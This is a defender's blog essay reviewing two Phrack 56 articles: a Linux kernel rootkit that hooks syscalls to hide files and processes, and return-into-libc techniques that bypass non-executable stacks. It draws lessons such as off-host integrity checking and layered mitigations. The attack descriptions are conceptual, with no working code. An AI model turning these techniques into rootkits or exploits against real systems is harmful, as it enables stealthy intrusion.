Phrack 56 arrived in January. As I wrote when 55 was published, reading Phrack carefully is, for the time spent, the highest-leverage research activity I do. This issue is no exception.
Two articles in particular have shifted my thinking. I want to write about them, partly to make sure I have understood them, partly because the implications for defenders are not yet being widely discussed.
The kernel rootkit article
The first article describes a Linux kernel rootkit — a loadable kernel module that, once installed, modifies the running kernel's behaviour to hide the rootkit's own presence and to provide a privileged backdoor.
The technique is elegant. The module hooks specific system calls — most importantly getdents (which is what ls and find use to enumerate directory contents), kill (which signals processes), and read (which reads file contents). The hooks intercept calls that would reveal the rootkit's files or processes and silently filter the results before returning them to the caller.
From the perspective of any process running on the system, including the operator typing ls, ps, kill, cat /proc/..., the rootkit's files do not exist. The rootkit's processes do not exist. The rootkit's network connections do not show up in netstat. Every standard tool is returning sanitised data.
The technique is general: any system call that returns information can be hooked, the information filtered, the result returned to the caller. The rootkit becomes effectively invisible to anything running on the system itself.
What this changes for defenders
A few things, severe ones.
First, all on-host detection becomes unreliable. If the attacker has root and can install kernel modules, every diagnostic command returns whatever the kernel decides to return. ps lies. ls lies. netstat lies. The system administrator has no reliable view of their own machine.
This is an extension of the argument I have been making about off-host logging and what I observed in honeypot capture three: on-host artefacts are unreliable evidence. Kernel rootkits make the unreliability formal — there is no command on the compromised host whose output you can trust.
Second, standard integrity tools may not detect it. Tripwire and similar tools work by hashing file contents and comparing against a known-good baseline. A kernel rootkit can intercept the file-read calls Tripwire makes and return the original (clean) file contents while the on-disk file is modified. The hash matches. Tripwire reports nothing wrong.
The defence against this is to run Tripwire from outside the compromised system — boot from clean media, mount the suspected disk read-only, hash the files from a kernel that is not running the rootkit. This is operationally awkward but is the only reliable answer.
Third, kernel modules require root, which seems like it should be a backstop. It is, but barely. Any privilege-escalation vulnerability — any of the BIND, wu-ftpd, or kernel-level bugs that turn up regularly — produces, eventually, a root shell. Once the attacker has root, the kernel module is a few keystrokes away. The whole defensive posture rests on never letting them get root in the first place.
For my own infrastructure, the defensive posture I am moving toward is: assume any host can be compromised; trust only off-host artefacts; have a rebuild-from-clean-media capability that does not depend on any on-host data; treat the firewall as the boundary of what can be trusted, not the host itself.
The non-executable stack bypass
The second article is more technical and slower to summarise. It describes a generalised technique for bypassing non-executable stack defences, which are an emerging defence against the standard buffer-overflow exploitation pattern.
The traditional buffer overflow works like this: the attacker overflows a stack-allocated buffer, overwriting the return address to point to shellcode that has been included in the overflow data. When the function returns, control transfers to the shellcode, which runs.
The non-executable stack defence prevents this by marking the stack memory as non-executable. The CPU refuses to execute instructions from a non-executable page. The shellcode cannot run.
The Phrack article describes a class of techniques collectively called return-into-libc — instead of including shellcode in the overflow, the attacker overwrites the return address to point to existing executable code in the process's address space, typically inside the C library. By chaining returns to specific library functions, the attacker can construct sophisticated payloads using only code that already legitimately exists in the program. No new code needs to be executed.
A simple example: the attacker overflows the buffer, overwrites the return address to point to system(), and arranges for the stack to contain the address of the string "/bin/sh" (which exists somewhere in the program). When the function returns, it calls system("/bin/sh"). The non-executable stack does not stop this — there is no execution from the stack.
The article goes substantially further, describing techniques for chaining multiple library calls (so the attacker can do more than a single system call), techniques for handling argument layout, and techniques for stable exploits across different process configurations. The technical depth is high; the implication is that non-executable stack alone is not a sufficient defence.
What this changes for defenders
The widely-promised future where non-executable stacks are universal becomes much less reassuring. Even when deployed, the defence is bypassable. The attack toolkit just needs to switch to return-into-libc.
Real defence against memory-corruption requires the combination of several techniques: non-executable stack plus address space layout randomisation (so the attacker cannot find library addresses reliably) plus stack canaries (so overflows are detected before the function returns) plus compiler-level guards.
None of these is widely deployed in 2000. Stack canaries are emerging in StackGuard and Microsoft's /GS flag. Address space randomisation is a research idea. Non-executable stack is being implemented in a few places (notably PaX for Linux, OpenBSD's W^X). The combination of all of them, as a default, is years away.
This is, in some sense, the deeper technical lesson of the article. Memory-corruption defences are not boolean. Each defence makes the attack harder; no single defence makes it impossible. The right architecture is layers, where each layer makes the attacker's life harder, and the cumulative effect is to push the cost of exploitation high enough that most attackers are deterred.
A small reflection on the genre
Phrack continues to be the most useful publication I read. The articles are written by people whose primary job is to do this work — not journalists describing it from outside, not academics summarising it after the fact, but practitioners explaining their craft to other practitioners.
The defensive community sometimes complains that publishing these techniques is irresponsible. The argument is partly correct — the techniques get used. The argument is also partly wrong — the techniques exist whether or not Phrack publishes them, and the defenders who do not read about them are exactly the defenders who cannot prepare for them.
My own balance, sat at the kitchen table at the end of January, is that I am much better-prepared as a defender for having read these two articles carefully. The compromise data from my honeypot makes more sense when I can identify the techniques behind it. The defensive posture I move toward is informed by understanding what the offence actually does.
More on this as 2000 develops. The first quarter is shaping up to be busy.